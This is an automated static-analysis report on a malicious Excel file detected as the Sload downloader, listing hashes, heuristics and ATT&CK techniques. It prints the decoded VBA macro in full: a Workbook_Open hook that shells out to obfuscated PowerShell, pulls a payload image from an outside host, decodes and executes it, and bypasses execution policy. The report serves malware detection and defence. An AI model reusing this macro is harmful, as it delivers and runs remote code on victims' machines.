Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5dfe4ad7cc7866e8…

MALICIOUS

Office (OLE)

82.5 KB Created: 2003-04-23 08:59:25 Authoring application: Microsoft Excel First seen: 2019-06-27
MD5: 5cf2a78324520616580ea6ffbef45682 SHA-1: f0523b75ad99197dda4880fef92230d8e84b2200 SHA-256: 5dfe4ad7cc7866e81248aa06e2c8204f6007e9694a5d1a4d6739d9a313ed249f
184 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The critical OLE_VBA_SHELL heuristic indicates the use of the Shell() function within a Workbook_Open macro, which is also flagged. The de-obfuscated URL points to a potential payload. The script attempts to download an image, process it, and then execute a PowerShell command to download and run a second-stage payload, likely from the provided URL.

Heuristics 6

  • ClamAV: Xls.Downloader.Sload-6774021-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Sload-6774021-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • URL de-obfuscated from VBA string literal (1 URL) info OLE_VBA_OBFUSCATED_URL
    A VBA macro hides its download URL inside a string literal that is de-obfuscated at runtime — junk digits or a Replace() junk token interleaved through the URL, or the URL stored reversed (StrReverse). The decoded host is the next-stage payload URL (URLDownloadToFile/XMLHTTP/ShellExecute); surfaced as an IOC. Self-validating: only a transform that yields a syntactically valid host URL is reported.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://images2.imgbox.com/9e/ff/iLa2JH9p_o.png Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6764 bytes
SHA-256: 6645a90c39d2735f736e3af67433b4777320b49d7c33d5a8914dc2f7d2863cad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'


























































Sub workbook_Open()
Shell "cm" + metro, 0 - 8 + 4 + 4
End Sub
Function metro()
metro1 = Replace("d  ? /?c   ""e?cH?O/ sV UX8  ([T?Yp?E](""{1}{0}""-f'aTh','M')  ) ; s?eT E8CI3 ([?Ty?Pe](""{1}{4}{0}{5}{2}{3}""-F't','S?Ys?t','t','.En?Co?DIn??G?','Em.','e?X') ) ; ^^^&(""{1}{0}""-f 'l','sa') ('a') (""{0}{2}{1}"" -f 'New-Ob','ect','j');^^^&(""{1}{2}{0}"" -f'ype','A','dd-T') -A?ss?emb?ly?Name ""S?y?st?em?.D?raw??in?g"";${G}=.('a') (""{2}{3}{0}{1}""-f 'm.Dra','wi?ng.Bit?ma?p','Syst','e')((^^^&('a') (""{2}{1}{0}"" -f'ie?nt','Cl','?Ne?t.?W?eb')).(""{1}{2}{0}"" -f 'e?ad','O','pe?nR').?I?nvo??ke??(""h?t??t?ps??:?/?/?images2.imgbox.com/9e/ff/iLa2JH9p_o.png""));${O}=.('a') (""{1}{0}"" -f'te[]','By') 428;(0..0)^^^|^^^&('%'){for?eac?h(${X} in(0..427)){${P}=${G}.(""{2}{1}", "?", "")
metro2 = Replace("{0}"" -f 'xel','etPi','G')??.??I?n??vo?k??e?(${x},${_});${O}[${_}*428+${x}]=(  $Ux8::(""{1}{0}"" -f'oo?r','Fl').I?nv?o?????ke((${P}.""b""-ba?nd1?5)*16)-bor(${P}.""G"" -ba?nd 15))}};^^^&(""{1}{0}""-f'X','IE')(  $E8CI3::""AsC`Ii"".""Ge?TS`TR?I`N?G""(${o}[0..386])) |c?L??IP.E??X??e&&cM?d  ? /c?pO?We?RS?H??eL?l -?N?O?l ?-n?On?In?T ?-?w?i?N??do??WST ?HI??Dd??eN  ?-e??xe?CU??TI???oNp??OLi? b?y?pas?S  -n?Op?r  -ST?a  [?Voi?d][Sy????ste??m.Re????fle??cti??on.As??se?mbl?y]::( \""{2}{1}{4}{0}{5}{3}\"" -f'al?N',( \""{1}{0}\"" -f't?hP','o?ad?W?i' ),'L','e',(  \""{0}{1}\""-f'art','i'  ),'am').\""??iN?vo`k?e\""((\""{0}{3}{5}{4}{2}{1}\""-f'S','d?ows.Fo?rms?','.Wi?n','y','m','ste'  ) );  (  [w?i?nd??oW??S.fO??r?ms?.C??LI??PBo??ARd]::(  \""{2}{1}{0}\""-f 'ex?T','t','G?Et' ).\""i?n`?V`O??KE??\""(   ) ) ^^^|   . ( ${?P`S?ho`ME?}[4]+  ${p`S`hO?M??E?}[30]  +  'x'  );   [??W?i??n???do??ws.F?or??ms.?Cl??i?p??boar?d]::( \""{0}{1}\""-f 'Cl?e','ar'  ).\""i?`N?VO??K?e?\""(  )""", "?", "")
metro = metro1 + metro2
End Function

Attribute VB_Name = "Foglio2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio7"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio8"
Attribute VB_Base
... (truncated)